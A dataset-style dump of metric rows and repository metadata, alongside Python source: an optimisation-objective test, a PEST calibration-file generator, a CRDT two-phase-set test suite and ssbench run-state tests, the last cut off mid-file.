0.886544
0.886544
0.886544
0.859633
0
0
0.338895
5,934
159
98
37.320755
0.833546
0.013145
0
0.822034
0
0
0.018487
0
0
0
0
0
0.144068
1
0.042373
false
0
0.033898
0
0.084746
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
a06a80f462139baa81e14eeb5de05624a22b9c73
2,400
py
Python
tests/optimization/MultiObjectiveOptimization/test__add_objective_variable.py
eragasa/mexm-base
c8d84057c483e1bd06bb8b2e835274f6a4cd61b9
[ "MIT" ]
1
2021-01-03T21:30:47.000Z
2021-01-03T21:30:47.000Z
tests/optimization/MultiObjectiveOptimization/test__add_objective_variable.py
eragasa/mexm-base
c8d84057c483e1bd06bb8b2e835274f6a4cd61b9
[ "MIT" ]
null
null
null
tests/optimization/MultiObjectiveOptimization/test__add_objective_variable.py
eragasa/mexm-base
c8d84057c483e1bd06bb8b2e835274f6a4cd61b9
[ "MIT" ]
null
null
null
import pytest from collections import OrderedDict from moo import MultiObjectiveOptimization def dev__add_objective_variable(): moo = MultiObjectiveOptimization() moo.add_objective_variable(name='obj_1', optimization_type='min' ) moo.add_objective_variable(name='obj_2', optimization_type='max' ) print(moo.objective_variables) def test__add_objective_variable__type_min(): obj_var_name = 'obj_1' obj_opt_type = 'min' obj_constraints = [] moo = MultiObjectiveOptimization() moo.add_objective_variable(name=obj_var_name, optimization_type=obj_opt_type) assert isinstance(moo.objective_variables, OrderedDict) assert obj_var_name in moo.objective_variables assert moo.objective_variables[obj_var_name]['optimization_type'] \ == obj_opt_type assert moo.objective_variables[obj_var_name]['constraints'] \ == obj_constraints def test__add_objective_variable__type_max(): obj_var_name = 'obj_2' obj_opt_type = 'max' obj_constraints = [] moo = MultiObjectiveOptimization() moo.add_objective_variable(name=obj_var_name, optimization_type=obj_opt_type) assert isinstance(moo.objective_variables, OrderedDict) assert obj_var_name in moo.objective_variables assert moo.objective_variables[obj_var_name]['optimization_type'] \ == obj_opt_type assert moo.objective_variables[obj_var_name]['constraints'] \ == obj_constraints def test__add_objective_variable__type_invalid(): obj_var_name = 'obj_2' obj_opt_type = 'invalid' obj_constraints = [] moo = MultiObjectiveOptimization() with pytest.raises(AssertionError): moo.add_objective_variable(name=obj_var_name, optimization_type=obj_opt_type) def dev__add_objective_variable(): moo = MultiObjectiveOptimization() moo.add_objective_variable(name='obj_1', optimization_type='min' ) moo.add_objective_variable(name='obj_2', optimization_type='max' ) print(moo.objective_variables) if __name__ == '__main__': dev__add_objective_variable()
34.782609
71
0.652917
254
2,400
5.673228
0.137795
0.108258
0.18043
0.111728
0.834143
0.834143
0.81263
0.81263
0.77932
0.77932
0
0.004002
0.27125
2,400
68
72
35.294118
0.819897
0
0
0.701754
0
0
0.051667
0
0
0
0
0
0.157895
1
0.087719
false
0
0.052632
0
0.140351
0.035088
0
0
0
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
263ec919fd3914d5de37c9ed1ab77f73d04c2f48
16,163
py
Python
spowtd/pestfiles.py
alex-cobb/python-spowtd
b841ce63a4ed168a6e1b4e17b689d8be9dc11318
[ "BSD-2-Clause" ]
null
null
null
spowtd/pestfiles.py
alex-cobb/python-spowtd
b841ce63a4ed168a6e1b4e17b689d8be9dc11318
[ "BSD-2-Clause" ]
null
null
null
spowtd/pestfiles.py
alex-cobb/python-spowtd
b841ce63a4ed168a6e1b4e17b689d8be9dc11318
[ "BSD-2-Clause" ]
2
2021-10-14T14:38:43.000Z
2022-03-21T16:21:06.000Z
"""Generate files for calibration with PEST """ import os import yaml def generate_rise_pestfiles(connection, parameter_file, outfile_type, configuration_file, outfile, precision=17): """Generate PEST files for calibration against rise curve """ assert outfile_type in ('tpl', 'ins', 'pst'), outfile_type parameters = yaml.safe_load(parameter_file) check_parameters(parameters) {'tpl': generate_rise_tpl_file, 'ins': generate_rise_ins_file, 'pst': generate_rise_pst_file}[outfile_type]( connection=connection, parameters=parameters, configuration=({} if configuration_file is None else yaml.safe_load(configuration_file)), outfile=outfile, precision=precision) def generate_curves_pestfiles(connection, parameter_file, outfile_type, configuration_file, outfile, precision=17): """Generate PEST files for calibration against master curves """ assert outfile_type in ('tpl', 'ins', 'pst'), outfile_type {'tpl': generate_curves_tpl_file, 'ins': generate_curves_ins_file, 'pst': generate_curves_pst_file}[outfile_type]( connection=connection, parameters=yaml.safe_load(parameter_file), configuration=({} if configuration_file is None else yaml.safe_load(configuration_file)), outfile=outfile, precision=precision) def generate_rise_tpl_file(connection, parameters, configuration, outfile, precision): """Generate template file for calibration against rise curve """ lines = ['ptf @', 'specific_yield:'] if parameters['specific_yield']['type'] == 'peatclsm': lines += [' type: peatclsm', ' sd: @sd @', ' theta_s: @theta_s @', ' b: @b @', ' psi_s: @psi_s @'] else: assert parameters['specific_yield']['type'] == 'spline' lines += [' type: spline', ' zeta_knots_mm:'] lines += [' - {}'.format(value) for value in parameters['specific_yield']['zeta_knots_mm']] lines += [' sy_knots: # Specific yield, dimensionless'] lines += [' - @s{}@'.format(str(i).ljust(23)) for i in range(1, len(parameters['specific_yield']['sy_knots']) + 1)] lines += ['transmissivity:'] if parameters['transmissivity']['type'] == 'peatclsm': lines += [' type: peatclsm', ' Ksmacz0: {} # m/s'.format( parameters['transmissivity']['Ksmacz0']), ' alpha: {} # dimensionless'.format( parameters['transmissivity']['alpha']), ' zeta_max_cm: {}'.format( parameters['transmissivity']['zeta_max_cm'])] else: assert parameters['transmissivity']['type'] == 'spline' lines += [' type: spline'] lines += [' zeta_knots_mm:'] lines += [' - {}'.format(value) for value in parameters['transmissivity']['zeta_knots_mm']] lines += [' K_knots_km_d: # Conductivity, km /d'] lines += [' - {}'.format(value) for value in parameters['transmissivity']['K_knots_km_d']] lines += [' minimum_transmissivity_m2_d: {} ' '# Minimum transmissivity, m2 /d' .format(parameters['transmissivity'][ 'minimum_transmissivity_m2_d'])] outfile.write(os.linesep.join(lines)) def generate_rise_ins_file(connection, parameters, configuration, outfile, precision): """Generate instruction file for calibration against rise curve """ cursor = connection.cursor() cursor.execute(""" SELECT count(distinct zeta_number) FROM rising_interval_zeta""") n_zeta = cursor.fetchone()[0] cursor.close() lines = ['pif @', '@# Rise curve simulation vector@'] lines += ['l1 [e{}]3:24'.format(i + 1) for i in range(n_zeta)] outfile.write(os.linesep.join(lines)) def generate_rise_pst_file(connection, parameters, configuration, outfile, precision): """Generate control file for calibration against rise curve """ # See Example 11.3 in pestman and Preface of addendum parameterization = parameters['specific_yield']['type'] if parameterization not in ('peatclsm', 'spline'): raise ValueError('Unrecognized parameterization "{}"' .format(parameterization)) if parameterization == 'spline': npar = len(parameters['specific_yield']['sy_knots']) npargp = 1 # One parameter group else: npar = 4 npargp = 4 # A parameter group for each parameter cursor = connection.cursor() cursor.execute(""" SELECT count(distinct zeta_number) FROM rising_interval_zeta""") n_zeta = cursor.fetchone()[0] cursor.execute(""" SELECT mean_crossing_depth_mm AS dynamic_storage_mm FROM average_rising_depth ORDER BY zeta_mm""") avg_storage_mm = [row[0] for row in cursor.fetchall()] cursor.close() nobsgp = 1 # 1 observation group lines = [ 'pcf', '* control data', 'restart estimation', ('{}{}{} 0{}' .format(str(npar).rjust(5), str(n_zeta).rjust(6), str(npargp).rjust(6), str(nobsgp).rjust(6))), ' 1 1 double point 1 0 0', ' 5.0 2.0 0.3 0.03 10', ' 3.0 3.0 0.001 0', ' 0.1', ' 30 0.01 4 3 0.01 3', ' 1 1 1'] if parameterization == 'spline': lines += [ '* parameter groups', 'sy_knot relative 0.01 0.0 switch 2.0 parabolic', '* parameter data'] lines += [ 'sy_knot_{} none relative NaN 0.01 1 sy_knot 1.0 0.0 1' .format(i + 1) for i in range(npar)] else: lines += [ '* parameter groups', 'sd relative 0.01 0.0 switch 2.0 parabolic', 'theta_s relative 0.01 0.0 switch 2.0 parabolic', 'b relative 0.01 0.0 switch 2.0 parabolic', 'psi_s relative 0.01 0.0 switch 2.0 parabolic'] lines += [ '* parameter data', 'sd none relative NaN 0.0 2.0 sd 1.0 0.0 1', 'theta_s none relative NaN 0.01 1 theta_s 1.0 0.0 1', 'b none relative NaN 0.01 20.0 b 1.0 0.0 1', 'psi_s none relative NaN -1.0 -0.01 psi_s 1.0 0.0 1'] lines += [ '* observation groups', 'storageobs'] lines += [ '* observation data'] lines += [ ('e{{}} {{:0.{}g}} 1.0 storageobs' .format(precision) .format(i + 1, W)) for i, W in enumerate(avg_storage_mm)] lines += [ '* model command line', # XXX 'bash simulate-rise.sh'] lines += [ '* model input/output', # XXX 'rise_pars.yml.tpl rise_pars.yml', 'rise_observations.ins rise_observations.yml'] lines += [ '* prior information'] outfile.write(os.linesep.join(lines)) def generate_curves_tpl_file(connection, parameters, configuration, outfile, precision): """Generate template file for calibration against master curves """ lines = ['ptf @', 'specific_yield:'] if parameters['specific_yield']['type'] == 'peatclsm': lines += [' type: peatclsm', ' sd: @sd @', ' theta_s: @theta_s @', ' b: @b @', ' psi_s: @psi_s @'] else: assert parameters['specific_yield']['type'] == 'spline' lines += [' type: spline', ' zeta_knots_mm:'] lines += [' - {}'.format(value) for value in parameters['specific_yield']['zeta_knots_mm']] lines += [' sy_knots: # Specific yield, dimensionless'] lines += [' - @s{}@'.format(str(i).ljust(23)) for i in range(1, len(parameters['specific_yield']['sy_knots']) + 1)] lines += ['transmissivity:'] if parameters['transmissivity']['type'] == 'peatclsm': lines += [' type: peatclsm', ' Ksmacz0: @Ksmacz0 @ # m/s', ' alpha: @alpha @ # dimensionless', ' zeta_max_cm: {}'.format( parameters['transmissivity']['zeta_max_cm'])] else: assert parameters['transmissivity']['type'] == 'spline' lines += [' type: spline'] lines += [' zeta_knots_mm:'] lines += [' - {}'.format(value) for value in parameters['transmissivity']['zeta_knots_mm']] lines += [' K_knots_km_d: # Conductivity, km /d'] lines += [' - @K_knot_{}@'.format(str(i).ljust(17)) for i in range(1, len(parameters['transmissivity']['K_knots_km_d']) + 1)] lines += [' minimum_transmissivity_m2_d: {} ' '# Minimum transmissivity, m2 /d' .format('@T_min @')] outfile.write(os.linesep.join(lines)) def generate_curves_ins_file(connection, parameters, configuration, outfile, precision): """Generate instruction file for calibration against master curves """ cursor = connection.cursor() cursor.execute(""" SELECT count(distinct zeta_number) FROM rising_interval_zeta""") n_rise_zeta = cursor.fetchone()[0] cursor.execute(""" SELECT count(distinct zeta_number) FROM recession_interval_zeta""") n_recession_zeta = cursor.fetchone()[0] cursor.close() lines = ['pif @', '@# Rise curve simulation vector@'] lines += ['l1 [e{}]3:24'.format(i + 1) for i in range(n_rise_zeta)] lines += ['@# Recession curve simulation vector@'] lines += ['l1 [e{}]3:24'.format(i + 1) for i in range( n_rise_zeta, n_rise_zeta + n_recession_zeta)] outfile.write(os.linesep.join(lines)) def generate_curves_pst_file(connection, parameters, configuration, outfile, precision): """Generate control file for calibration against master curves """ # See Example 11.3 in pestman and Preface of addendum parameterization = parameters['specific_yield']['type'] if parameterization not in ('peatclsm', 'spline'): raise ValueError('Unrecognized parameterization "{}"' .format(parameterization)) if parameterization == 'spline': n_Sy = len(parameters['specific_yield']['sy_knots']) n_T = len(parameters['transmissivity']['K_knots_km_d']) npar = n_Sy + n_T + 1 # For minimum transmissivity npargp = 3 # Three parameter groups else: assert parameterization == 'peatclsm' npar = 6 npargp = 6 # A parameter group for each parameter cursor = connection.cursor() cursor.execute(""" SELECT mean_crossing_depth_mm AS dynamic_storage_mm FROM average_rising_depth ORDER BY zeta_mm""") avg_storage_mm = [row[0] for row in cursor.fetchall()] n_rise_zeta = len(avg_storage_mm) # Sort from highest to lowest water level, to match the way # recession curves are dumped and plotted. cursor.execute(""" SELECT CAST(elapsed_time_s AS double precision) / (3600 * 24) AS elapsed_time_d FROM average_recession_time ORDER BY zeta_mm DESC""") elapsed_time_d = [row[0] for row in cursor.fetchall()] n_recession_zeta = len(elapsed_time_d) cursor.close() nobsgp = 2 # 2 observation groups lines = [ 'pcf', '* control data', 'restart estimation', ('{}{}{} 0{}' .format(str(npar).rjust(5), str(n_rise_zeta + n_recession_zeta).rjust(6), str(npargp).rjust(6), str(nobsgp).rjust(6))), ' 1 1 double point 1 0 0', ' 5.0 2.0 0.3 0.03 10', ' 3.0 3.0 0.001 0', ' 0.1', ' 30 0.01 4 3 0.01 3', ' 1 1 1'] if parameterization == 'spline': lines += [ '* parameter groups', 'sy_knot relative 0.01 0.0 switch 2.0 parabolic', 'k_knot relative 0.01 0.0 switch 2.0 parabolic', 'T_min relative 0.01 0.0 switch 2.0 parabolic', '* parameter data'] lines += [ 'sy_knot_{} none relative NaN 0.01 1 sy_knot 1.0 0.0 1' .format(i + 1) for i in range(n_Sy)] lines += [ 'k_knot_{} log factor NaN 1.0e-04 1.0e+5 k_knot 1.0 0.0 1' .format(i + 1) for i in range(n_T)] lines += [ 'T_min log factor NaN 1.0e-04 1.0e+5 T_min 1.0 0.0 1'] else: lines += [ '* parameter groups', 'sd relative 0.01 0.0 switch 2.0 parabolic', 'theta_s relative 0.01 0.0 switch 2.0 parabolic', 'b relative 0.01 0.0 switch 2.0 parabolic', 'psi_s relative 0.01 0.0 switch 2.0 parabolic', 'Ksmacz0 relative 0.01 0.0 switch 2.0 parabolic', 'alpha relative 0.01 0.0 switch 2.0 parabolic'] lines += [ '* parameter data', 'sd none relative NaN 0.0 2.0 sd 1.0 0.0 1', 'theta_s none relative NaN 0.01 1 theta_s 1.0 0.0 1', 'b none relative NaN 0.01 20.0 b 1.0 0.0 1', 'psi_s none relative NaN -1.0 -0.01 psi_s 1.0 0.0 1', 'Ksmacz0 log factor NaN 1.0e-04 1.0e+5 Ksmacz0 1.0 0.0 1', 'alpha none relative NaN 1 20.0 alpha 1.0 0.0 1'] lines += [ '* observation groups', 'storageobs', 'timeobs'] lines += [ '* observation data'] lines += [ ('e{{}} {{:0.{}g}} 1.0 storageobs' .format(precision) .format(i + 1, W)) for i, W in enumerate(avg_storage_mm)] lines += [ ('e{{}} {{:0.{}g}} 1.0 timeobs' .format(precision) .format(n_rise_zeta + i + 1, t)) for i, t in enumerate(elapsed_time_d)] lines += [ '* model command line', # XXX 'bash simulate-curves.sh'] lines += [ '* model input/output', # XXX 'curves_pars.yml.tpl curves_pars.yml', 'curves_observations.ins curves_observations.yml'] lines += [ '* prior information'] outfile.write(os.linesep.join(lines)) def check_parameters(parameters): """Check parameters for correctness """ if parameters['specific_yield']['type'] not in ('peatclsm', 'spline'): raise ValueError('Unexpected specific yield type: {}' .format(parameters['specific_yield']['type'])) if parameters['transmissivity']['type'] not in ('peatclsm', 'spline'): raise ValueError('Unexpected specific yield type: {}' .format(parameters['transmissivity']['type']))
39.712531
90
0.517788
1,785
16,163
4.541176
0.113165
0.013323
0.006662
0.020725
0.834197
0.824944
0.788922
0.756107
0.741426
0.686405
0
0.040421
0.358659
16,163
406
91
39.810345
0.741559
0.062241
0
0.727011
1
0.008621
0.375547
0.01723
0
0
0
0
0.020115
1
0.025862
false
0
0.005747
0
0.031609
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
263f999727569d4aeb1bcb66d4d9804d65a0413b
138
py
Python
create.py
includeno/linux_training
8664c2ee32ed45f3d6c39889c926d887be56ba0a
[ "Apache-2.0" ]
null
null
null
create.py
includeno/linux_training
8664c2ee32ed45f3d6c39889c926d887be56ba0a
[ "Apache-2.0" ]
null
null
null
create.py
includeno/linux_training
8664c2ee32ed45f3d6c39889c926d887be56ba0a
[ "Apache-2.0" ]
null
null
null
import lib.fileutil as fileutil fileutil.create_file("./find/",name='',suffix=".c") fileutil.create_file("./find/",name='',suffix=".tbc")
34.5
53
0.702899
19
138
5
0.578947
0.294737
0.378947
0.463158
0.673684
0.673684
0
0
0
0
0
0
0.043478
138
4
53
34.5
0.719697
0
0
0
0
0
0.143885
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
26562fa73eb86c92c422647579b36e132ce471d6
5,602
py
Python
tests/test_twopset.py
anshulahuja98/python3-crdt
b2e5d67580c562ae08d56127f41f7562e3ebe8e9
[ "MIT" ]
48
2019-02-16T08:01:52.000Z
2022-03-19T00:45:13.000Z
tests/test_twopset.py
geetesh-gupta/python3-crdt
02dfc28895da031169fbc8bd9ae1434dbfacd8b9
[ "MIT" ]
5
2020-10-01T09:52:38.000Z
2021-05-18T09:32:35.000Z
tests/test_twopset.py
anshulahuja98/python3-crdt
b2e5d67580c562ae08d56127f41f7562e3ebe8e9
[ "MIT" ]
3
2019-02-16T08:01:54.000Z
2022-01-29T15:58:14.000Z
import unittest import uuid import py3crdt from py3crdt.twopset import TwoPSet class TestLWW(unittest.TestCase): def setUp(self): # Create a TwoPSet self.twopset1 = TwoPSet(uuid.uuid4()) # Create another TwoPSet self.twopset2 = TwoPSet(uuid.uuid4()) # Add elements to twopset1 self.twopset1.add('a') self.twopset1.add('b') # Add elements to twopset1 self.twopset2.add('b') self.twopset2.add('c') self.twopset2.add('d') def test_elements_add_correctly_twopset(self): self.assertEqual(self.twopset1.A.payload, ['a', 'b']) self.assertEqual(self.twopset1.R.payload, []) self.assertEqual(self.twopset2.A.payload, ['b', 'c', 'd']) self.assertEqual(self.twopset2.R.payload, []) def test_querying_twopset_without_removal_and_merging(self): # Check twopset1 querying self.assertTrue(self.twopset1.query('a')) self.assertTrue(self.twopset1.query('b')) self.assertFalse(self.twopset1.query('c')) self.assertFalse(self.twopset1.query('d')) # Check twopset2 querying self.assertFalse(self.twopset2.query('a')) self.assertTrue(self.twopset2.query('b')) self.assertTrue(self.twopset2.query('c')) self.assertTrue(self.twopset2.query('d')) def test_merging_twopset_without_removal(self): # Check twopset1 merging self.twopset1.merge(self.twopset2) self.assertEqual(self.twopset1.A.payload, ['a', 'b', 'c', 'd']) self.assertEqual(self.twopset1.R.payload, []) # Check twopset2 merging self.twopset2.merge(self.twopset1) self.assertEqual(self.twopset2.A.payload, ['a', 'b', 'c', 'd']) self.assertEqual(self.twopset2.R.payload, []) # Check if they are both equal self.assertEqual(self.twopset1.A.payload, self.twopset2.A.payload) self.assertEqual(self.twopset1.R.payload, self.twopset2.R.payload) def test_querying_twopset_with_merging_without_removal(self): # Check twopset2 merging self.twopset2.merge(self.twopset1) self.assertTrue(self.twopset2.query('a')) self.assertTrue(self.twopset2.query('b')) self.assertTrue(self.twopset2.query('c')) self.assertTrue(self.twopset2.query('d')) # Check twopset1 merging self.twopset1.merge(self.twopset2) self.assertTrue(self.twopset1.query('a')) self.assertTrue(self.twopset1.query('b')) self.assertTrue(self.twopset1.query('c')) self.assertTrue(self.twopset1.query('d')) def test_elements_remove_correctly_twopset(self): # Remove elements from twopset1 self.twopset1.remove('b') self.assertEqual(self.twopset1.A.payload, ['a', 'b']) self.assertEqual(self.twopset1.R.payload, ['b']) # Remove elements from twopset2 self.twopset2.remove('b') self.twopset2.remove('c') self.assertEqual(self.twopset2.A.payload, ['b', 'c', 'd']) self.assertEqual(self.twopset2.R.payload, ['b', 'c']) def test_querying_twopset_without_merging_with_removal(self): # Remove elements from twopset1 self.twopset1.remove('b') # Check twopset1 querying self.assertTrue(self.twopset1.query('a')) self.assertFalse(self.twopset1.query('b')) self.assertFalse(self.twopset1.query('c')) self.assertFalse(self.twopset1.query('d')) # Remove elements from twopset2 self.twopset2.remove('b') self.twopset2.remove('c') # Check twopset2 querying self.assertFalse(self.twopset2.query('a')) self.assertFalse(self.twopset2.query('b')) self.assertFalse(self.twopset2.query('c')) self.assertTrue(self.twopset2.query('d')) def test_merging_twopset_with_removal(self): # Remove elements from twopset1 self.twopset1.remove('b') # Remove elements from twopset2 self.twopset2.remove('b') self.twopset2.remove('c') # Check twopset1 merging self.twopset1.merge(self.twopset2) self.assertEqual(self.twopset1.A.payload, ['a', 'b', 'c', 'd']) self.assertEqual(self.twopset1.R.payload, ['b', 'c']) # Check twopset2 merging self.twopset2.merge(self.twopset1) self.assertEqual(self.twopset2.A.payload, ['a', 'b', 'c', 'd']) self.assertEqual(self.twopset2.R.payload, ['b', 'c']) # Check if they are both equal self.assertEqual(self.twopset1.A.payload, self.twopset2.A.payload) self.assertEqual(self.twopset1.R.payload, self.twopset2.R.payload) def test_querying_twopset_with_merging_with_removal(self): # Remove elements from twopset1 self.twopset1.remove('b') # Remove elements from twopset2 self.twopset2.remove('b') self.twopset2.remove('c') # Merge twopset2 to twopset1 self.twopset1.merge(self.twopset2) # Merge twopset1 to twopset2 self.twopset2.merge(self.twopset1) # Check twopset1 querying self.assertTrue(self.twopset1.query('a')) self.assertFalse(self.twopset1.query('b')) self.assertFalse(self.twopset1.query('c')) self.assertTrue(self.twopset1.query('d')) # Check twopset2 querying self.assertTrue(self.twopset2.query('a')) self.assertFalse(self.twopset2.query('b')) self.assertFalse(self.twopset2.query('c')) self.assertTrue(self.twopset2.query('d')) if __name__ == '__main__': unittest.main()
35.455696
74
0.642628
668
5,602
5.317365
0.071856
0.162162
0.106982
0.091216
0.86768
0.824043
0.824043
0.818131
0.804899
0.762387
0
0.027607
0.217601
5,602
157
75
35.681529
0.782797
0.129061
0
0.726316
0
0
0.018557
0
0
0
0
0
0.547368
1
0.094737
false
0
0.042105
0
0.147368
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
8
265fb9bf15448feb59aed8bc9f0280121d06ad91
56
py
Python
extra_tests/snippets/import_name.py
mainsail-org/RustPython
5d2d87c24f1ff7201fcc8d4fcffadb0ec12dc127
[ "CC-BY-4.0", "MIT" ]
11,058
2018-05-29T07:40:06.000Z
2022-03-31T11:38:42.000Z
extra_tests/snippets/import_name.py
mainsail-org/RustPython
5d2d87c24f1ff7201fcc8d4fcffadb0ec12dc127
[ "CC-BY-4.0", "MIT" ]
2,105
2018-06-01T10:07:16.000Z
2022-03-31T14:56:42.000Z
extra_tests/snippets/import_name.py
mainsail-org/RustPython
5d2d87c24f1ff7201fcc8d4fcffadb0ec12dc127
[ "CC-BY-4.0", "MIT" ]
914
2018-07-27T09:36:14.000Z
2022-03-31T19:56:34.000Z
def import_func(): assert __name__ == "import_name"
18.666667
36
0.696429
7
56
4.714286
0.714286
0
0
0
0
0
0
0
0
0
0
0
0.178571
56
2
37
28
0.717391
0
0
0
0
0
0.196429
0
0
0
0
0
0.5
1
0.5
true
0
1
0
1.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
1
1
0
1
0
1
0
0
7
cd488730dd3e8e5348a47313f41904c180f42d24
9,964
py
Python
ssbench/tests/test_run_state.py
yujunz/ssbench
9baccf7431537ce811053b7dcadf920ae97040c3
[ "Apache-2.0", "MIT" ]
null
null
null
ssbench/tests/test_run_state.py
yujunz/ssbench
9baccf7431537ce811053b7dcadf920ae97040c3
[ "Apache-2.0", "MIT" ]
null
null
null
ssbench/tests/test_run_state.py
yujunz/ssbench
9baccf7431537ce811053b7dcadf920ae97040c3
[ "Apache-2.0", "MIT" ]
null
null
null
# #Copyright (c) 2012-2021, NVIDIA CORPORATION. #SPDX-License-Identifier: Apache-2.0 from nose.tools import assert_equal, assert_set_equal from collections import deque import ssbench from ssbench.run_state import RunState class TestRunState(object): def setUp(self): self.run_state = RunState() def _fill_initial_results(self): initial_results = [{ 'type': ssbench.CREATE_OBJECT, 'size_str': 'obtuse', 'container': 'bucket0', 'name': 'obj1', 'size': 88, }] # non-CREATE_OBJECT results are saved but not added to the deque for t in [ssbench.READ_OBJECT, ssbench.UPDATE_OBJECT, ssbench.DELETE_OBJECT]: initial_results.append({ 'type': t, 'size_str': 'obtuse', 'container': 'bucket0', 'name': 'obj1', }) initial_results.append({ 'type': ssbench.CREATE_OBJECT, 'size_str': 'obtuse', 'container': 'bucket1', 'name': 'obj1', 'size': 89, }) # exception results are saved but not added to the deque initial_results.append({ 'type': ssbench.CREATE_OBJECT, 'size_str': 'obtuse', 'container': 'bucket0', 'name': 'obj1', 'exception': 'oh noes!', }) initial_results.append({ 'type': ssbench.CREATE_OBJECT, 'size_str': 'round', 'container': 'bucket0', 'name': 'obj2', 'size': 90, }) for r in initial_results: self.run_state.handle_initialization_result(r) def _fill_run_results(self): run_results = [{ 'type': ssbench.CREATE_OBJECT, 'size_str': 'round', 'container': 'bucket0', 'name': 'obj3', 'size': 77, }] # non-CREATE_OBJECT results are saved but not added to the deque for t in [ssbench.READ_OBJECT, ssbench.UPDATE_OBJECT, ssbench.DELETE_OBJECT]: run_results.append({ 'type': t, 'size_str': 'obtuse', 'container': 'bucket0', 'name': 'obj8', }) run_results.append({ 'type': ssbench.CREATE_OBJECT, 'size_str': 'obtuse', 'container': 'bucket3', 'name': 'obj4', 'size': 89, }) # exception results are saved but not added to the deque run_results.append({ 'type': ssbench.CREATE_OBJECT, 'size_str': 'obtuse', 'container': 'bucket3', 'name': 'obj5', 'exception': 'oh noes!', }) run_results.append({ 'type': ssbench.CREATE_OBJECT, 'size_str': 'round', 'container': 'bucket1', 'name': 'obj6', 'size': 90, }) for r in run_results: self.run_state.handle_run_result(r) def test_handle_initialization_result(self): self._fill_initial_results() assert_equal(self.run_state.objs_by_size, { 'obtuse': deque([ ('bucket0', 'obj1', True), ('bucket1', 'obj1', True)]), 'round': deque([('bucket0', 'obj2', True)]), }) def test_handle_run_result(self): self._fill_initial_results() self._fill_run_results() assert_equal(self.run_state.objs_by_size, { 'obtuse': deque([ ('bucket0', 'obj1', True), ('bucket1', 'obj1', True), ('bucket3', 'obj4', False)]), # not "initial" 'round': deque([ ('bucket0', 'obj2', True), ('bucket0', 'obj3', False), ('bucket1', 'obj6', False)]), }) def test_cleanup_object_infos(self): self._fill_initial_results() self._fill_run_results() cleanups = list(self.run_state.cleanup_object_infos()) assert_equal(cleanups, [('bucket3', 'obj4', False), ('bucket0', 'obj3', False), ('bucket1', 'obj6', False)]) assert_equal(self.run_state.objs_by_size, { 'obtuse': deque([ ('bucket0', 'obj1', True), ('bucket1', 'obj1', True)]), # not "initial" 'round': deque([ ('bucket0', 'obj2', True)]), }) def test_cleanup_object_infos_with_no_initials(self): self._fill_run_results() cleanups = set(self.run_state.cleanup_object_infos()) assert_set_equal(cleanups, set([('bucket3', 'obj4', False), ('bucket0', 'obj3', False), ('bucket1', 'obj6', False)])) # There were no initials, so there's nothing left: assert_equal(self.run_state.objs_by_size, { 'obtuse': deque(), 'round': deque(), }) def test_fill_in_job_for_create_object(self): self._fill_initial_results() self._fill_run_results() assert_equal(self.run_state.fill_in_job({ 'type': ssbench.CREATE_OBJECT, 'creates': 'are ignored', }), { 'type': ssbench.CREATE_OBJECT, 'creates': 'are ignored', }) assert_equal(self.run_state.objs_by_size, { 'obtuse': deque([ ('bucket0', 'obj1', True), ('bucket1', 'obj1', True), ('bucket3', 'obj4', False)]), 'round': deque([ ('bucket0', 'obj2', True), ('bucket0', 'obj3', False), ('bucket1', 'obj6', False)]), }) def test_fill_in_job_for_delete_object(self): self._fill_initial_results() self._fill_run_results() assert_equal(self.run_state.fill_in_job({ 'type': ssbench.DELETE_OBJECT, 'size_str': 'obtuse', }), { 'type': ssbench.DELETE_OBJECT, 'size_str': 'obtuse', 'container': 'bucket0', 'name': 'obj1', }) assert_equal(self.run_state.objs_by_size, { 'obtuse': deque([ ('bucket1', 'obj1', True), ('bucket3', 'obj4', False)]), 'round': deque([ ('bucket0', 'obj2', True), ('bucket0', 'obj3', False), ('bucket1', 'obj6', False)]), }) def test_fill_in_job_for_update_object(self): self._fill_initial_results() self._fill_run_results() assert_equal(self.run_state.fill_in_job({ 'type': ssbench.UPDATE_OBJECT, 'size_str': 'round', 'size': 991, }), { 'type': ssbench.UPDATE_OBJECT, 'size_str': 'round', 'size': 991, 'container': 'bucket0', 'name': 'obj2', }) assert_equal(self.run_state.objs_by_size, { 'obtuse': deque([ ('bucket0', 'obj1', True), ('bucket1', 'obj1', True), ('bucket3', 'obj4', False)]), 'round': deque([ ('bucket0', 'obj3', False), # (got rotated) ('bucket1', 'obj6', False), ('bucket0', 'obj2', True)]), }) def test_fill_in_job_for_read_object(self): self._fill_initial_results() self._fill_run_results() assert_equal(self.run_state.fill_in_job({ 'type': ssbench.READ_OBJECT, 'size_str': 'obtuse', }), { 'type': ssbench.READ_OBJECT, 'size_str': 'obtuse', 'container': 'bucket0', 'name': 'obj1', }) assert_equal(self.run_state.objs_by_size, { 'obtuse': deque([ ('bucket1', 'obj1', True), # (got rotated) ('bucket3', 'obj4', False), ('bucket0', 'obj1', True)]), 'round': deque([ ('bucket0', 'obj2', True), ('bucket0', 'obj3', False), ('bucket1', 'obj6', False)]), }) def test_fill_in_job_when_empty(self): self._fill_initial_results() assert_equal(self.run_state.fill_in_job({ 'type': ssbench.DELETE_OBJECT, 'size_str': 'obtuse', }), { 'type': ssbench.DELETE_OBJECT, 'size_str': 'obtuse', 'container': 'bucket0', 'name': 'obj1', }) assert_equal(self.run_state.fill_in_job({ 'type': ssbench.DELETE_OBJECT, 'size_str': 'obtuse', }), { 'type': ssbench.DELETE_OBJECT, 'size_str': 'obtuse', 'container': 'bucket1', 'name': 'obj1', }) assert_equal(self.run_state.fill_in_job({ 'type': ssbench.DELETE_OBJECT, 'size_str': 'obtuse', }), None) assert_equal(self.run_state.fill_in_job({ 'type': 